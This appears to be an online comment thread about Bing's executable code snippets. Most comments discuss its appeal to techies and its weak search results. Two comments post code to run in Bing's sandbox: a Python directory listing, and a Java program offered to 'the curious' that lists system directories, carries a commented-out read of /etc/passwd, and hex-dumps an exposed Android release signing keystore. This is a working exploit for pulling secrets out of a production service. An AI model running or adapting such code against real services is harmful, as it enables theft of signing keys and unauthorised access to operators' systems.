Executable code snippets in Bing

Why is it smart? Every major internet service is driven by it's early adopters. Every major service is built and designed by people like us, hacker news readers, techies, early adopters. But of course, not all services, especially those who want to be massive are targeted to early adopters anymore - they wrongly target the masses. To attract people to use your service, you have to have the early adopters first, they have to attract us first and then target the masses. Thus, we are seeing Bing take a page from DuckDuckGo in tailoring some parts of its service towards techies. It's a clever move.

Good startup idea could be found in this audience. Solve the coding problems through searching for code. Just do it better than bing. [0]

[0] "The way to win here is to build the search engine all the hackers use. A search engine whose users consisted of the top 10,000 hackers and no one else would be in a very powerful position despite its small size, just as Google was when it was that search engine." ~ http://paulgraham.com/ambitious.html

https://www.bing.com/search?q=solution+to+halting+problem

It also doesn't seem to support anything advanced or synonyms for terms. I can search for "Reverse array python" but not "Reverse list python" (technically a list is the proper name, and array is a different construct in Python), and anything more advanced than sorting algorithms or simple features don't appear. I tried a few pathfinding algorithms, fibonacci sequence, prime numbers.... And I tried several variations of search terms. "Pathfinding in Pyhton" / "Graph Search in Python" / "Djikstra's algorithm in Python", nothing. I don't think it will be very useful because of this.

http://duckduckhack.com/

This is probably Microsoft's response.

  import os
  print '\n'.join(os.listdir('/'))

Also there's some files that are visible that probably shouldn't be, including one named "codechecker-android-release-key.keystore"...

For the curious, try running the code block. You can uncomment/commment things out to see different results as there's a cap on the amount of stdout printed.

    import java.net.URLClassLoader;
    import java.io.*;
    import java.net.*;
    
    class  Solution
    {
    	private static void printFile(String path) throws Exception {
    		System.out.println("File: " + path);
    		InputStream in = new FileInputStream(path);
    		byte buf[] = new byte[1024];
    		int len;
    		while( (len = in.read(buf)) > 0 ) {
    			System.out.write(buf, 0, len);
    		}
    		System.out.flush();
    	}
    	
    	final protected static char[] hexArray = "0123456789ABCDEF".toCharArray();
    	private static String bytesToHex(byte[] bytes) {
    	    char[] hexChars = new char[bytes.length * 2];
    	    for ( int j = 0; j < bytes.length; j++ ) {
    	        int v = bytes[j] & 0xFF;
    	        hexChars[j * 2] = hexArray[v >>> 4];
    	        hexChars[j * 2 + 1] = hexArray[v & 0x0F];
    	    }
    	    return new String(hexChars);
    	}
    
        private static void printFileHex(String path) throws Exception {
    		System.out.println("File: " + path);
    		InputStream in = new FileInputStream(path);
    		ByteArrayOutputStream out = new ByteArrayOutputStream();
    		byte buf[] = new byte[1024];
    		int len;
    		while( (len = in.read(buf)) > 0 ) {
    			out.write(buf, 0, len);
    		}
    		byte bytes[] = out.toByteArray();
    		System.out.println(bytesToHex(bytes));
    		System.out.flush();
    	}	
    	
    	public static void main (String[] args) throws Exception
    	{
    		Class<?> clazz = Class.forName("java.lang.ClassLoader");
    		URLClassLoader cl = 
    		  (URLClassLoader) Thread.currentThread().getContextClassLoader();
    	    System.out.println("Classpath:");
    		for(java.net.URL url : cl.getURLs()) {
    			System.out.println("" + url);
    		}
    		File local = new File("");
    		System.out.println("Local path: " + local.getAbsolutePath());
    		
    		System.out.println("Files:"); 
    		File root = new File("/");  
    		String list[] = root.list();		
    		System.out.println("# root files: " + list.length);
    		
    		//printFile("/etc/passwd");
    		printFileHex("/etc/codechecker-android-release-key.keystore");
    		
    		System.out.println("# root files: " + list.length);
    		for(String base : new String[]{ "/etc", "/bin", "/sbin", "/usr"}) {
    		  for(String name : new File(base).list()) {
    		     System.out.println(base + "/" + name);
    		  }
    		}
    	}
    }